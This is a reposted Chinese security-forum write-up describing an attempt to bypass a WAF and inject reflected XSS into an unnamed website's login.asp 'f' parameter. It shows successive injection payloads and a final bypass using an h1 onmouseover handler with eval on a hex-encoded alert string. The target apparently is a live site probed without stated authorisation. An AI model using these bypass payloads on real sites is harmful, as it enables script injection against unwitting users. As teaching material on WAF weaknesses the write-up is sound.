安全矩阵

 找回密码
 立即注册
搜索
查看: 957|回复: 0

实战|一次绕过waf进行xss的经历

[复制链接]

251

主题

270

帖子

1797

积分

金牌会员

Rank: 6Rank: 6

积分
1797
发表于 2022-10-23 18:14:28 | 显示全部楼层 |阅读模式
转载于:程序员阿甘 2022-10-21 22:00 发表于广东


今天室友遇到一个好玩的网站,下面是一些尝试绕过Waf进行XSS的记录。首先该网站没有对左右尖号和单双引号做任何过滤或转义。且有未知的waf或者其他阻止恶意访问的手段。
首先我的访问为 login.asp?f=1 时候,页面关键源码为

可能是表示登录次数的一个东西?(猜测) 现在我们知道的信息是参数f会填充到 loginflag这个隐藏框内。
尝试
首先做一些基础的XSS尝试:
script标签
login.asp?f=1"><script>
直接触发waf
img标签
login.asp?f=123" <img src="
/login.asp?f=123" <img src="
可以正常的释放引号与尖号,也可以完整释放出 img标签。但是只要和on事件搭上边,就触发了这个waf。HTML DOM Event Object 这里的一些基础事件都做了尝试。无解。

iframe标签
login.asp?f=123"> <iframe SRC="https://www.baidu.com
可解,但是总觉得没有弹窗是有点不爽的意思。

继续尝试执行JS
尝试使用H标签,例如h1
可以正常放出onload事件,所以此处这个waf禁止的只是img的on事件。尝试弹窗:
login.asp?f=1"><h1>Hello</h1><img src="
我们又回到了waf上面,尝试了alert、confirm、prompt都被拦截。但是可以console.log。
login.asp?f=1"><h1>Hello</h1><img src="
这就有点再次陷入尴尬,还是没有弹窗。不过我们已经可以执行js了,可以使用eval轻松的绕过。
login.asp?f="><h1 onmouseover=eval("\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x22\x58\x53\x53\x22\x29")>Hello</h1><img src="
总结
首先肯定是不存在大小写绕过的,不然也不会这么费劲。我们不难看出,该WAF主要针对两点做了一些手段。
  • script标签
  • img标签的 onXX事件
  • onXX事件里面不能有弹窗函数 alert、confirm、prompt

治标不治本,当然针对XSS最傻瓜的处理办法还是不要放过尖号好引号。
文章来源:HACK之道

版权申明:内容来源网络,版权归原创者所有。除非无法确认,都会标明作者及出处,如有侵权,烦请告知,我们会立即删除并致歉!***
本公号发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!*

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 08:56 , Processed in 0.012383 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表